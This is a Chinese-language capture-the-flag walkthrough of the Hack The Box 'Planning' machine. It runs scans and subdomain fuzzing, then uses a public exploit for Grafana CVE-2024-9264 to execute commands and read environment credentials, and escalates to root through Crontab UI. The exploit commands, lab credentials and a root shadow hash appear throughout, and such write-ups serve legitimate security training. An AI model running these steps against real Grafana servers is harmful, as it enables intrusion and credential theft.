基本信息
- https://app.hackthebox.com/machines/Planning
- 10.10.11.68

1 | As is common in real life pentests, you will start the Planning box with credentials for the following account: admin / 0D5oT70Fq13EvB5r |
端口扫描
22和80:
1 | nmap -sC -sV -Pn 10.10.11.68 |
80
需要加hosts:
1 | 10.10.11.68 planning.htb |
在线教育相关的:

子域名扫描
需要一个比较大的字典,可以找到grafana:
1 | ffuf -w /Users/miao/Tools/dict/SecLists/Discovery/DNS/bitquark-subdomains-top100000.txt -u "http://planning.htb/" -H 'Host: FUZZ.planning.htb' -fs 178 |
就是一个grafana:

grafana
使用一开始给出的账号密码登录,是Grafana v11.0.0:
1 | admin |

CVE-2024-9264
搜索可以发现相关漏洞:
- nollium/CVE-2024-9264: Exploit for Grafana arbitrary file-read and RCE (CVE-2024-9264)
https://github.com/nollium/CVE-2024-9264
显示是root,实际是一个容器
1 | python3 CVE-2024-9264.py -u admin -p 0D5oT70Fq13EvB5r -c id http://grafana.planning.htb |

env
环境变量中可以得到用户名和密码
1 | python3 CVE-2024-9264.py -u admin -p 0D5oT70Fq13EvB5r -c env http://grafana.planning.htb |
user flag
得到的用户名和密码ssh登录:
1 | ssh enzo@10.10.11.68 |

Crontab UI
查看端口可以发现一个本地8000端口,转发出来需要登录,常规翻文件可以找到一个密码,登录上去是Crontab UI:
1 | # 用户名简单猜一下即可 |



Crontab to root
所以就是新增一个crontab执行即可:


shadow
1 | root:$y$j9T$6FXR7mi4BgmaZ7AoBiO470$CBrVTY4d7EK5JUjv8Gc2xjGVxYIr14TUCRkgFY0YvB7:20147:0:99999:7::: |
参考资料
- nollium/CVE-2024-9264: Exploit for Grafana arbitrary file-read and RCE (CVE-2024-9264)
https://github.com/nollium/CVE-2024-9264